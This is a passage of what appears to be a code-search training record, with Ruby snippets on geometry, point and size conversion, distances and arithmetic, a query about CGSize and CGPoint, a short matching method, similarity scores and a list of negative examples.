if from.is_a?(Numeric)\n\n unless from.length == Merit::POINTS\n raise(\n ArgumentError,\n \"availability curve must have #{Merit::POINTS} elements (got #{from.length})\"\n )\n end\n\n from.map { |value| value.clamp(0.0, 1.0) }\n end", "def alter(x1, x2, px1)\n raise ArgumentError, '0 <= px1 <= 1' unless px1 >=0 && px1 <= 1\n random < px1 ? x1 : x2\n end", "def lower_right\n @lower_right ||= world.point(x_max, y_min)\n end", "def scale d, min, max\n range = max - min\n if range != 0\n scaled = (d.to_f / range) * 360\n return clamp(scaled, 0, 360).round\n else\n 0\n end\n end", "def position=(point); end", "def makeJump(from,to)\n tab = self.copy ;\n ddx = sign(to.x - from.x) ;\n ddy = sign(to.y - from.y) ;\n x = from.x ; y = from.y ;\n loop do \n x += ddx ; y += ddy ;\n break if(x == to.x && y == to.y)\n tab.flip(x,y) ;\n end\n tab.set(to.x,to.y,tab.val(from.x,from.y)) ;\n tab.unset(from.x,from.y) ;\n tab\n end", "def normalize_coords(x, y)\n x = x * -1 - 1 if x < 0\n y = y * -1 - 1 if y > -1\n [x, y]\n end", "def normalizePoint(point, normalizer)\n x = point[0] + normalizer[0]\n y = point[1] + normalizer[1]\n # make sure we didn't wrap one way or the other.\n # taking the shortest great circle distance.\n x = x <= -180 ? x +360 : x\n x = x >= 180 ? x +360 : x\n return [x,y]\n end", "def make_absolute(point)\n absolute_position + point * Core::Point.new(width, height)\n end", "def range\n @range ||= 0.upto(@limit)\n end", "def out_of_bound?(value, min, max)\n return value > max || value < min\n end", "def range\n @from..@to\n end" ]
[ "0.7471544", "0.69083196", "0.6694613", "0.6579846", "0.6347165", "0.6343104", "0.62161237", "0.62033194", "0.6137307", "0.6003822", "0.5976785", "0.59146714", "0.5910452", "0.59088117", "0.5867298", "0.5845293", "0.58035475", "0.5764698", "0.57059455", "0.56819993", "0.5665806", "0.5555209", "0.55279565", "0.54065794", "0.54062307", "0.53638643", "0.5357091", "0.53068346", "0.5285908", "0.5278477", "0.5276265", "0.5269711", "0.5266939", "0.5243032", "0.52384716", "0.523211", "0.5229525", "0.52244365", "0.5219737", "0.5213721", "0.520783", "0.5203301", "0.5185341", "0.5181774", "0.5179326", "0.51543725", "0.5148989", "0.51462656", "0.5136135", "0.5088776", "0.50554645", "0.5050937", "0.50352454", "0.5033455", "0.50323665", "0.50218695", "0.5000556", "0.4987124", "0.49601567", "0.49382284", "0.4913829", "0.49093443", "0.49058774", "0.48919213", "0.48917067", "0.48898417", "0.4889147", "0.48890615", "0.48878208", "0.48870778", "0.4882355", "0.486961", "0.48689067", "0.48608768", "0.4858541", "0.48541608", "0.4852506", "0.4844865", "0.4826853", "0.4817582", "0.48158833", "0.48145062", "0.48086265", "0.48080143", "0.48004386", "0.47938418", "0.4786585", "0.47777307", "0.47764984", "0.47730967", "0.47722277", "0.47716397", "0.47658384", "0.47633007", "0.47570005", "0.47567526", "0.4753534", "0.4738684", "0.47349426", "0.47341317" ]
0.66073996
3
CGSize from a CGPoint
def bbpFromSize(size) bbp(size.width, size.height) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def size\n size_dependencies = [calculated_width, calculated_height]\n if size_dependencies != @size_dependencies\n # avoid repeating calculations\n calculated_width, calculated_height = @size_dependencies = size_dependencies\n @size = org.eclipse.swt.graphics.Point.new(calculated_width, calculated_height)\n end\n @size\n end", "def pixel_size; size.x * size.y; end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def coords_to_pos(point)\n (size - 1 - point.y) * size + point.x\n end", "def rect_of_size(size)\n CGRect.new([self.x, self.y], size)\n end", "def size\n (@x2-@x1)*(@y2-@y1)\n end", "def pointsize(points)\n primitive 'font-size ' + sprintf('%g', points)\n end", "def center size\n x = self.x + (size.width / 2.0)\n y = self.y + (size.height / 2.0)\n CGPoint.new(x, y)\n end", "def to_size\n CGSize.new(first, second)\n end", "def to_point\n size = attribute :size\n point = attribute :position\n point.x += size.width / 2\n point.y += size.height / 2\n point\n end", "def calculate_coordinate(size_in_inches)\n return size_in_inches * 144\n end", "def farpoint() origin + size end", "def width # width of bboxpoint\n\t\tself.coords[2] - self.coords[0]\n\tend", "def size\n \"#{width}x#{height}\"\n end", "def size\n \"#{width}x#{height}\"\n end", "def size\n SizableLocation.new(location).size\n end", "def to_point\n attribute(:position).center(attribute :size)\n end", "def to_point\n attribute(:position).center(attribute :size)\n end", "def as_css_size\n size = self\n size += 'px' unless size.blank? || size.end_with?('px', '%', 'em') || size == 'auto' || size == 'inherit'\n return size\n end", "def resize_to_point!(grab_handle, point, minimum_dimension=1)\n\t\tpoint = self.body.world2local(point)\n\t\tresize_to_local_point!(grab_handle, point, minimum_dimension)\n\tend", "def size\n @points.size\n end", "def extract_size(size)\n unless size.nil?\n size = OpenStruct.new(size)\n \"#{size.width}x#{size.height}\"\n end\n end", "def size\n width * height\n end", "def distance(point)\n Math.hypot(point.x - x, point.y - y)\n end", "def size\n return @peer.width_style.to_s, @peer.height_style.to_s\n end", "def scaled_point\n val = self.class.base.new(@value * self.class.size)\n val.kind_of?(ScaledPoint) ? val : val.scaled_point\n end", "def num_points\n @size * @size\n end", "def size\n\t\tx,y = 0,0\n\t\t@points.each do |point|\n\t\t\tx = point[0]\tif point[0] > x\n\t\t\ty = point[1]\tif point[1] > y\n\t\tend\n\t\treturn [x,y]\n\tend", "def size(rect)\n return rect.width\n end", "def euclidian_distance(point)\n Math.hypot((point.x - x),(point.y - y))\n end", "def Size(w_or_size, h=nil)\n unless h\n case w_or_size\n when CGSize\n w = w_or_size.width\n h = w_or_size.height\n when CGPoint\n w = w_or_size.x\n h = w_or_size.y\n when UIOffset\n w = w_or_size.horizontal\n h = w_or_size.vertical\n when Array\n w = w_or_size[0]\n h = w_or_size[1]\n else\n raise RuntimeError.new(\"Invalid argument sent to Size(#{w_or_size.inspect})\")\n end\n else\n w = w_or_size\n end\n return CGSize.new(w, h)\n end", "def cm2pts(x)\n (x / 2.54) * 72\n end", "def euclidian_distance(point)\r\n Math.sqrt((point.x - x)**2 + (point.y - y)**2)\r\n end", "def update_size(x,y)\n @width = x if x > @width\n @height = y if y > @height\n end", "def size\n self.points.count\n end", "def byte_size; size.y * line_byte_size; end", "def scale_factor(point, view)\n\n px_to_length(view)/view.pixels_to_model(1, point)\n\n end", "def pos_to_coords(pos)\n x = (pos % size)\n y = size - 1 - (pos / size).to_i\n\n Point.new x, y\n end", "def px_to_length(view)\n\n view.pixels_to_model 1, @scale_origin\n\n end", "def get_absolute_size\n return Vector.new(@tile_size.x * @size.x, @tile_size.y * @size.y) unless @isometric\n avg = (@size.x + @size.y) * 0.5\n Vector.new (avg * @tile_size.x).to_i, (avg * @tile_size.y).to_i\n end", "def size(input) \n\tinfo = `identify \"#{input}\"`\n\twidth, height = info.match(/(\\d+)x(\\d+)\\+/).captures\n\treturn width.to_i, height.to_i\nend", "def size\n [width, height]\n end", "def size\n [width, height]\n end", "def size(rect)\n return rect.height\n end", "def xy2p(x, y)\n\t\tsx = 0\n\t\tglyphs = @model.glyphs(y)\n\t\tglyphs.each_with_index do |glyph, i|\n\t\t\treturn i if sx >= x or glyph == 10\n\t\t\tsx += measure_width(sx, glyph)\n\t\tend\n\t\tglyphs.size\n\tend", "def real_piece_size\n piece_size + connector_size\n end", "def width\n self.size[:x]\n end", "def line_point_distance(line_start, line_end, point)\n top = ((line_end.y - line_start.y) * point.x) -\n ((line_end.x - line_start.x) * point.y) +\n (line_end.x * line_start.y) - \n (line_end.y * line_start.x)\n bottom = ((line_end.y - line_start.y) ** 2 +\n (line_end.x - line_start.x) ** 2) ** 0.5\n return (top / bottom).abs\n end", "def find_size(size_type)\n case size_type\n when \"desktop\"\n Glitter::Application.config.desktop_geometry\n when \"mobile\"\n Glitter::Application.config.mobile_geometry\n when \"thumbnail\"\n Glitter::Application.config.thumbnail_geometry\n end\n end", "def distance point\n dx = @x - point.x\n dy = @y - point.y\n Math.sqrt(dx**2 + dy**2)\n end", "def point( l, container=nil )\n # Trace(\"point parameter #{l}\")\n return pointfromparameter( parameterfromlength(l), container )\n end", "def size(x, y)\n start_time = Time.now\n xdotool \"windowsize #{@id} #{x} #{y}\"\n while [x, y] != get_geometry(@id)\n abort(\"*** #{File.basename(__FILE__)}: Window #{@id} did not react - are you running a tiling window manager? Exiting...\") if Time.now - start_time > 2\n end\n end", "def size\n\t\t@w * @h\n\tend", "def pixelSize()\n GoogleMap.getPixelSize(@zoom)\n end", "def size(x = nil, y = nil)\n if x && y\n @x = x\n @y = y\n else\n \"SIZE #{@x} #{@y}\"\n end\n end", "def cursor_width(_viewport, item_size)\n return item_size\n end", "def size(w,h)\n @size = \"#{w}x#{h}\"\n end", "def size_ratio(geom)\n geom_size = SizableLocation.new(geom).size\n if geom_size.positive?\n size.to_f / geom_size\n else\n 0.0\n end\n end", "def set_dimensions(actor, bitmap)\n if !actor.animated?\n cw = bitmap.width / 4\n ch = bitmap.height / 4\n else\n w,h = actor.check_frame_pose_overrrides\n cw = bitmap.width / w\n ch = ((bitmap.height / h) / 4)\n end\n return cw, ch\n end", "def size=(size='300x200')\n @width, @height = size.split(\"x\").map { |dimension| dimension.to_i }\n end", "def product_size(product)\n size_attributes = %w[size coats jacket denim knits leather overcoats ties t_shirts scarves shirts]\n size = ''\n\n size_attributes.each do |attr|\n size += product.attribute_value(attr).to_s\n end\n\n return size\n end", "def in2pts(x)\n x * 72\n end", "def make_absolute(point)\n absolute_position + point * Core::Point.new(width, height)\n end", "def distance(pt)\n x2, y2 = pt\n must_be_number(x2, 'pt.x')\n must_be_number(y2, 'pt.y')\n x1, y1 = xy\n hypot(x2 - x1, y2 - y1)\n end", "def distance(pt)\n raise ArgumentError unless is_point?(pt)\n return sqrt((pt.first - @xy.first) ** 2 + (pt.last - @xy.last) ** 2)\n end", "def size\n return 1.0 / 0.0 if from.nil? || to.nil?\n 1+(to-from).abs\n end", "def sub(point)\r\n new_point = Marshal.load(Marshal.dump(self))\r\n new_point.x = @x - point.x\r\n new_point.y = @y - point.y\r\n return new_point\r\n end", "def height\n size.first\n end", "def height\n size.first\n end", "def bounds\n point = location\n left = point.x\n top = point.y\n width = 0\n height = 0\n\n begin\n dimension = size\n width = dimension.width\n height = dimension.height\n rescue => e\n # Not supported on all platforms.\n Applitools::EyesLogger.error(\"Failed extracting size using JavaScript: (#{e.message})\")\n end\n\n if left < 0\n width = [0, width + left].max\n left = 0\n end\n\n if top < 0\n height = [0, height + top].max\n top = 0\n end\n\n Applitools::Region.new(left, top, width, height)\n end", "def distance_to(position)\n\t\t\tMath.sqrt((position.x - x).abs ** 2 + (position.y - y).abs ** 2)\n\t\tend", "def text_size s, f = font\n f.text_size s\n end", "def text_size s, f = font\n f.text_size s\n end", "def calc_width; Graphics.width; end", "def calc_size(size)\n eax = size\n edx = size + 0xf\n eax = 0x10\n eax -= 1\n eax += edx\n var_390 = 0x10\n edx = 0\n eax = eax / var_390\n eax *= 0x10\n\n return eax + 0x1c\nend", "def page_size\n if width > 0 && height > 0\n [width, height]\n else\n size\n end\n end", "def get_size(data)\n @horizontal_length = data[0].length\n @vertical_length = data.length\n end", "def fortress_center_point\n return Point.new((fortress_x_size / 2).truncate, (fortress_y_size / 2).truncate)\n end", "def width; rect.width; end", "def euclidean_distance_to(point)\n if self.dimensions != point.dimensions\n raise HonorRoll::IncompatibleDimensionsError\n end\n coord_pairs = self.coords.zip point.coords\n Math.sqrt coord_pairs.map{ |p| (p[0] - p[1])**2 }.reduce(:+)\n end", "def resize_to_local_point_locked_aspect!(grab_handle, point, minimum_dimension=1,limit_by:nil)\n\t\ttype, target_indicies = VEC_TO_TRANSFORM_DATA[grab_handle.to_a]\n\t\t\n\t\tnew_verts = self.verts\n\t\t\n\t\t\n\t\t# store original dimensions before any transforms\n\t\toriginal_width = self.width\n\t\toriginal_height = self.height\n\t\t\n\t\t\n\t\t# compute minimum dimensions\n\t\tlimit_by ||= :smaller\n\t\tlimits = [:smaller, :larger, :width, :height]\n\t\tunless limits.include? limit_by\n\t\t\traise \"Must declare kwarg 'limit by' with one of these values: #{limits.inspect}\"\n\t\tend\n\t\t\n\t\t\n\t\tminimum_x, minimum_y =\n\t\t\tminimum_dimensions(width, height, minimum_dimension, limit_by)\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tcase type\n\t\t\twhen :edge\n\t\t\t\t# these two lines stolen from CP::Shape::Rect#resize_by_delta!\n\t\t\t\ta,b = target_indicies.collect{|i| new_verts[i] }\n\t\t\t\taxis = ( a.x == b.x ? :x : :y )\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# TODO: consider possible problems of dividing delta by two. Should you use integer division? The underlying measurements are pixels, so what happens when you divide in half? Will you ever lose precision?\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# -----\n\t\t\t\t# Compare these two ratios:\n\t\t\t\t# > minimum dimension calculation\n\t\t\t\t# > scale the secondary axis\n\t\t\t\t# \n\t\t\t\t# The two ratios are similarly calculated, but you can't reuse the same variable.\n\t\t\t\t# The top ratio is based on the which side is longer, \n\t\t\t\t# but the bottom ratio is based on which side is being directly manipulated.\n\t\t\t\t# -----\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# Scale the edge along the axis shared by it's verts\n\t\t\t\t# Then, scale along the other axis\n\t\t\t\tif axis == :x\n\t\t\t\t\t# primary x\n\t\t\t\t\tself.resize_to_local_point!(grab_handle, point, minimum_x)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# secondary y\n\t\t\t\t\tratio = original_height / original_width\n\t\t\t\t\t\n\t\t\t\t\tnew_width = self.width\n\t\t\t\t\tnew_height = new_width * ratio\n\t\t\t\t\t\n\t\t\t\t\tdelta = new_height - original_height\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\ta = CP::Vec2.new(0, 1)\n\t\t\t\t\tb = CP::Vec2.new(0, -1)\n\t\t\t\t\tself.resize_by_delta!(a, a*delta/2, minimum_y)\n\t\t\t\t\tself.resize_by_delta!(b, b*delta/2, minimum_y)\n\t\t\t\telse # axis == :y\n\t\t\t\t\t# primary y\n\t\t\t\t\tself.resize_to_local_point!(grab_handle, point, minimum_y)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# secondary x\n\t\t\t\t\tratio = original_width / original_height\n\t\t\t\t\t\n\t\t\t\t\tnew_height = self.height\n\t\t\t\t\tnew_width = new_height * ratio\n\t\t\t\t\t\n\t\t\t\t\tdelta = new_width - original_width\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\ta = CP::Vec2.new( 1, 0)\n\t\t\t\t\tb = CP::Vec2.new(-1, 0)\n\t\t\t\t\tself.resize_by_delta!(a, a*delta/2, minimum_x)\n\t\t\t\t\tself.resize_by_delta!(b, b*delta/2, minimum_x)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\twhen :vert\n\t\t\t\t# should perform calculations completely within local space\n\t\t\t\t# (this allows for advanced coordinate space manipulations, ex: body rotation)\n\t\t\t\t\n\t\t\t\tcenter = self.center\n\t\t\t\tvert = new_verts[target_indicies.first]\n\t\t\t\tdiagonal = (vert - center).normalize\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tpoint -= center\n\t\t\t\t\t# perform projection relative to center\n\t\t\t\t\t# ( this coordinate space can not be rotated or skewed\n\t\t\t\t\t# so you can get in / out via translation only )\n\t\t\t\t\tpoint = point.project(diagonal)\n\t\t\t\tpoint += center\n\t\t\t\t\n\t\t\t\t# all calculations in local space\n\t\t\t\t# some calculations local to center, rather than local origin\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# scale each axis separately, so each can be clamped independently\n\t\t\t\tself.resize_to_local_point!(CP::Vec2.new(grab_handle.x,0), point, minimum_x)\n\t\t\t\tself.resize_to_local_point!(CP::Vec2.new(0,grab_handle.y), point, minimum_y)\n\t\t\t\t\n\t\t\t\t\n\t\t\twhen :center\n\t\t\t\t# nothing\n\t\tend\n\tend", "def width\n size.last\n end", "def width\n size.last\n end", "def cursor_width(viewport, _item_size)\n return viewport.rect.width\n end", "def size\n vm.hardware_profile.vm_size\n end", "def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end", "def point_size_for(frequency_range:, frequency:)\n if frequency_range.max == frequency_range.min\n 14.0\n else\n relative = (frequency - frequency_range.min) /\n (frequency_range.max - frequency_range.min)\n\n relative * 20.0 + 8\n end\n end", "def mm2pts(x)\n (x / 25.4) * 72\n end", "def dimensions\n self.coords.count\n end", "def offset_ly\n size_l.blank? ? '' : size_l.split(/x|\\+/)[3].to_i\nend", "def size\n res = %x( #{magick_bin_name(\"identify\")} -format \"%[fx:w]x%[fx:h]\" #{Shellwords.shellescape path} )\n if res.size > 0\n res.chomp.split(\"x\").map {|x| x.to_i}\n else\n nil\n end\n end", "def width\r\n return (@x2-@x1).abs\r\n end", "def get_size(type)\n if type == :horizontal\n pane_size = Tmux.call \"list-panes | grep active | cut -dx -f1 | cut -d[ -f2\"\n else\n pane_size = Tmux.call \"list-panes | grep active | cut -dx -f2 | cut -d] -f1\"\n end\n pane_size.to_i\n end", "def scale(factor)\n Point.new(self.x * factor, self.y * factor)\n end", "def distance_from(char)\n return distance_x_from(char.x).abs + distance_y_from(char.y).abs\n end", "def size size = nil\n @size = size.to_i if size\n @size\n end", "def calculate_width(font_size, text)\n @d.pointsize = font_size\n @d.get_type_metrics(@base_image, text.to_s).width\n end", "def extract_pixel_size\n output_message = extract_raster_info(webmercator_filepath)\n matches = output_message.match(/pixel size = \\((.*)?,/i)\n raise TiffToSqlConversionError.new(\"Error obtaining raster pixel size: #{output_message}\") unless matches[1]\n matches[1].to_f\n end", "def extract_pixel_size\n output_message = extract_raster_info(webmercator_filepath)\n matches = output_message.match(/pixel size = \\((.*)?,/i)\n raise TiffToSqlConversionError.new(\"Error obtaining raster pixel size: #{output_message}\") unless matches[1]\n matches[1].to_f\n end", "def size\n @options[:layout_size]\n end" ]
[ "0.6575711", "0.62193", "0.61813885", "0.61813885", "0.615327", "0.602492", "0.5969789", "0.59315073", "0.5776799", "0.57018673", "0.56968105", "0.56705415", "0.5641924", "0.56393385", "0.5637912", "0.5637912", "0.56241316", "0.55955595", "0.55955595", "0.5452452", "0.54509854", "0.54302335", "0.54290617", "0.5344532", "0.5330267", "0.5321505", "0.5251271", "0.5236629", "0.5196736", "0.5187422", "0.5178292", "0.51652825", "0.5155235", "0.51504713", "0.5142337", "0.5134818", "0.50898904", "0.50827384", "0.5076304", "0.5070921", "0.5059539", "0.50574946", "0.50560296", "0.50560296", "0.50400376", "0.50372756", "0.5014896", "0.5000451", "0.49982598", "0.49832913", "0.49677193", "0.49485752", "0.4922517", "0.49202025", "0.4914204", "0.49107945", "0.48816222", "0.48760837", "0.48663583", "0.4856681", "0.4833663", "0.4821864", "0.48124558", "0.48049822", "0.48001406", "0.4797172", "0.47938532", "0.47933087", "0.47725573", "0.47725573", "0.4771858", "0.47579035", "0.47571513", "0.47571513", "0.47496587", "0.47408462", "0.47405288", "0.47032475", "0.47018334", "0.47001868", "0.46975625", "0.46932957", "0.4690747", "0.4690747", "0.4678333", "0.46750346", "0.4672339", "0.46640652", "0.4662141", "0.46604767", "0.46590894", "0.4654647", "0.46517625", "0.46511686", "0.46492675", "0.46425945", "0.46395782", "0.4637671", "0.46376687", "0.46376687", "0.46347418" ]
0.0
-1
Run a math operation function on each point component
def bbpCompOp rise 'Method not implemented' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def each_point(&block)\n Merit::POINTS.times(&block)\n end", "def xxx(x, y)\n sum = 0\n\n x.each_index do |i|\n sum += (x[i] * y[i])\n end\n\n sum\nend", "def accumulate_points(points)\n points.map{|point| point.value}.reduce(0, :+)\n end", "def do_calculation\n index = 0\n total = 0.0\n\n num_list_length = num_list.length\n\n ( num_list_length - 1 ).times do | i |\n total = num_list[i].to_f if i == 0\n index = 0 if index == 4\n\n total = total.send(OPERATIONS[index], num_list[i+1].to_f)\n index = index + 1\n end\n\n total\n end", "def calculate( input )\n update_with_vector( input )\n end", "def calculate(starting_value, operations)\n sum = starting_value\n operations.each do |ops|\n operator = ops[0]\n operand = ops[1]\n \n case operator\n when '+'\n sum += operand \n when '-'\n sum -= operand\n when '*'\n sum *= operand\n when '/'\n sum /=operand\n else \n end\n end \n sum \nend", "def reflect(center, point, alpha=1.0)\n #center.map.with_index{|e,i| e + alpha * ( e - point[i] )} # version for simple arrays\n p = center + ( center - point ) * alpha\n p.result = func(p)\n p\n end", "def apply_math(fn, a, b)\n a.send(fn, b)\nend", "def points\n @results.inject(0.0) { |t, r| t += r.points }\n end", "def compute( &math_func )\n math_func.call( 3, 5 )\nend", "def operation(x)\n Math.sqrt(x.abs) + 5 * x ** 3\nend", "def calculate_group_points\n attributes_groups.each do |group|\n if group.group_points_formula.present?\n character_group = self.find_attributes_group(group.name)\n character_group.points = self.calculator.evaluate(group.group_points_formula)\n end\n end\n end", "def cal()\n @v = 0.0;\n @n.times {|i|\n @v += @wn[i] * @xn[i];\n }\n nil;\n end", "def sum_of_point\n # Calculating point of each block\n calculate_points\n # Sum\n rubbish_count + not_clear_count + somewhat_count + understand_count\n end", "def each_point\n @points.each {|pt| yield pt }\n end", "def compute\n p1, p2 = self.support\n return [[:vector, p1, (p2-p1) * 1.0 / 3.0, p2, (p1 - p2) * 1.0 / 3.0]]\n end", "def calculation\n end", "def calculate(op, x, y)\n case op\n when 'plus'\n x.to_f + y.to_f\n when 'minus'\n x.to_f - y.to_f\n when 'divide'\n x.to_f / y.to_f\n when 'multiple'\n x.to_f * y.to_f\n end\nend", "def add_to_point! point\n vectors.each do |v|\n point.add! v\n end\n point\n end", "def calculate(data = @data)\r\n ft = []\r\n for k in 0...data.length do\r\n tot = 0\r\n data.each_with_index do |x_n, n|\r\n tot += x_n * Math::E ** (Complex(0,-1) * 2.0 * Math::PI * k * n / data.length.to_f)\r\n end\r\n ft << tot\r\n end\r\n ft\r\n end", "def transformed(p)\r\n (0..1).map do |i|\r\n (p[i] - @old_center[i])*@zoom + (@center[i] - @old_center[i])*@zoom + @old_center[i]\r\n end\r\n end", "def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend", "def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend", "def do_math(a, b, &operation)\n math(a, b, &operation)\nend", "def do_math(a, b, &operation)\n math(a, b, &operation)\nend", "def sum(x, y)\n\nend", "def add!(p)\n@x += p.x\n@y += p.y\nself\nend", "def points; end", "def arithmetic_proc(target)\n # Fooled you! I metaprogrammed it to save some typing!\n end", "def ponderado(pesos)\n @promedio = @p.zip(pesos).inject(0) do |suma, coordenada, peso| {suma+coordenada*peso }\n end\nend", "def divide_by_function(iDivFunction)\n case @Function[:FunctionType]\n when FCTTYPE_PIECEWISE_LINEAR\n case iDivFunction.function_data[:FunctionType]\n when FCTTYPE_PIECEWISE_LINEAR\n lNewPoints = []\n unionXWithFunction_PiecewiseLinear(iDivFunction) do |iX, iY, iOtherY|\n if (iY == nil)\n lNewPoints << [ iX, 0 ]\n elsif (iOtherY == nil)\n lNewPoints << [ iX, 0 ]\n else\n lNewPoints << [ iX, iY / iOtherY ]\n end\n end\n # Replace with new points\n @Function[:Points] = lNewPoints\n else\n log_err \"Unknown function type: #{@Function[:FunctionType]}\"\n end\n else\n log_err \"Unknown function type: #{@Function[:FunctionType]}\"\n end\n optimize\n end", "def integrate( ps )\n ps.time += @step_size\n \n ps.each do |po|\n self.x( po, ps.x_length )\n self.y( po, ps.y_length )\n self.z( po, ps.z_length )\n \n self.vx( po )\n self.vy( po )\n self.vz( po )\n end\n \n # Account for interaction between the particles where the forces are\n # calculated in a pairwise fashion or otherwise.\n if self.methods.index :accel\n self.accel( ps )\n else\n ps.each do |po|\n self.ax( po )\n self.ay( po )\n self.az( po )\n end\n end\n \n ps.each do |po|\n self.vx( po )\n self.vy( po )\n self.vz( po )\n end\n end", "def encircle( points,\n x_start = Point.new( *([0]*points[0].size) ),\n max_iter = 100 )\n x = x_start\n y, g = nil, nil\n\n for k in 1..max_iter do\n y, g = evaluate( x, points )\n x = x - g/k\n end\n\n return Circle.new(x, Math.sqrt(y))\nend", "def sum(x, op, y)\n x.send(op, y)\nend", "def test(i,j,k)\nreturn @A[i]*$x + @B[j]*$y + @C[k]*$z\nend", "def g(x,y) x + y end", "def all(*args)\n multi_calc(args)\n end", "def unionXWithFunction_PiecewiseLinear(iOtherFunction)\n lPoints = @Function[:Points]\n lOtherPoints = iOtherFunction.function_data[:Points]\n # Get all the abscisses sorted\n lXList = (lPoints.map { |iPoint| next iPoint[0] } + lOtherPoints.map { |iPoint| next iPoint[0] }).sort.uniq\n # Read segments abscisse by abscisse\n lIdxSegment = 0\n lIdxOtherSegment = 0\n lXList.each do |iX|\n if (lPoints[lIdxSegment] == nil)\n # No abscisse on lPoints for this iX\n # Forcefully we have lOtherPoints[lIdxOtherSegment][0] == iX\n yield(iX, nil, lOtherPoints[lIdxOtherSegment][1])\n lIdxOtherSegment += 1\n elsif (lOtherPoints[lIdxOtherSegment] == nil)\n # No abscisse on lOtherPoints for this iX\n # Forcefully we have lPoints[lIdxSegment][0] == iX\n yield(iX, lPoints[lIdxSegment][1], nil)\n lIdxSegment += 1\n elsif (lPoints[lIdxSegment][0] == iX)\n # lPoints has this abscisse\n if (lOtherPoints[lIdxOtherSegment][0] == iX)\n # If both functions have a point here, it's easy.\n yield(iX, lPoints[lIdxSegment][1], lOtherPoints[lIdxOtherSegment][1])\n lIdxOtherSegment += 1\n else\n # Compute the Y value for the other function\n yield(iX, lPoints[lIdxSegment][1], lOtherPoints[lIdxOtherSegment-1][1] + ((lOtherPoints[lIdxOtherSegment][1] - lOtherPoints[lIdxOtherSegment-1][1])*(iX - lOtherPoints[lIdxOtherSegment-1][0]))/(lOtherPoints[lIdxOtherSegment][0] - lOtherPoints[lIdxOtherSegment-1][0]))\n end\n lIdxSegment += 1\n else\n # We have forcefully lOtherPoints[lIdxOtherSegment][0] == iX\n # Compute the Y value for this function\n yield(iX, lPoints[lIdxSegment-1][1] + ((lPoints[lIdxSegment][1] - lPoints[lIdxSegment-1][1])*(iX - lPoints[lIdxSegment-1][0]))/(lPoints[lIdxSegment][0] - lPoints[lIdxSegment-1][0]), lOtherPoints[lIdxOtherSegment][1])\n lIdxOtherSegment += 1\n end\n end\n end", "def soma_numeros (x, y)\r\n x + y\r\nend", "def call(f)\n CAS::Help.assert(f, Hash)\n p = 1\n @x.each do |y|\n p = p.overloaded_mul(y.call(f))\n end\n p\n end", "def calculate_doubles!(arr)\n\n arr.map! {|x| x + x}\n arr\n\nend", "def multiply_els\n my_inject do |x, y|\n x * y\n end\n end", "def multiply_element(array)\n array.each do |x|\n x=x*x\n end\n end", "def add!(point)\r\n @x += point.x\r\n @y += point.y\r\n end", "def process\n \n args.inject { |sum, e| sum + e }\n end", "def map(points)\n points\n end", "def each(&b)\n @coeff.each(&b)\n end", "def operation meth, n_operator_sticks, operator, x\n\tToothNumber.new @value.send(meth, x.value),\n\t \t @num + x.num + n_operator_sticks,\n\t\t\t@pic + operator + x.pic\n end", "def multiply_els(ray)\n ray.my_inject(1) {|prod, n| prod * n } \nend", "def calc_center_point(aArray)\r\nend", "def transform \n \n @pixel_location = get_pixel_points \n puts \"px loc : #{@pixel_location}\"\n \n while @pixel_location.size != 0 \n transform_pixel_points(@pixel_location)\n @pixel_location.shift\n @pixel_location.shift\n end\n end", "def compute_squares(arr)\r\n\r\n # empty array created\r\n compute_squares = []\r\n\r\n # iterate using each loop method\r\n arr.each {|el| compute_squares << el**2}\r\n\r\n # returns result\r\n compute_squares\r\nend", "def calculate\n formula_map = FormulaMap.new(@data)\n\n formula_map.parameters.each do |ts, parameter|\n @results[ts] = @calculator.evaluate(@formula, parameter)\n end\n end", "def sum_difference_product\n # your code goes here\nend", "def multiply_els\n\t\tself.my_inject(:*, self[0])\n\tend", "def calculated; end", "def transform_all!(otherProjection, collection)\r\n collection.each do |point|\r\n transform!(otherProjection, point)\r\n end\r\n collection\r\n end", "def pt__X_(n, y); ptdist(n, 0.5 + y); end", "def normalize\n [@x / Math.sqrt(@x**2 + @y**2), @y / Math.sqrt(@x**2 + @y**2)]\n end", "def calculate_with_stack(geo_points, stack)\n stack.shift.calculate(geo_points) do |gp|\n calculate_with_stack(gp, stack)\n end\n end", "def calculate_points(master_pics, scoring_system = ScoringSystems.default)\n @points = 0\n pics.correct(master_pics).each do |pic|\n @points += pic.point_worth(scoring_system)\n end\n @points\n end", "def calculation(a,b, operation)\n operation.call(a,b)\n end", "def compute_performance_points(standard_points, decimals)\n score_calculator = ScoreCalculator.new(@season, @gender_type, @category_type, @pool_type, @event_type)\n score_calculator.get_custom_score(@meeting_individual_result.get_timing_instance, standard_points, decimals)\n end", "def multiply_by x,y,n\n (1..n).map {|i| x * y**i}\nend", "def scale pairs\n @scale.call pairs\n end", "def calculate\n @equations = self.class.permutate(@inputs, @operators)\n @results = {}\n @equations.each do |eq|\n @results[eq] = eval(eq)\n end\n end", "def pnormal__X_(y); pnormalxXX_(y + 0.5); end", "def Calculate(x,y) do\n\n#to mam nam zwrocic dwa stringi latexowe, tablica whatever gotowe do druku\nend", "def calculate(order)\n order.participants.lock!\n producers = 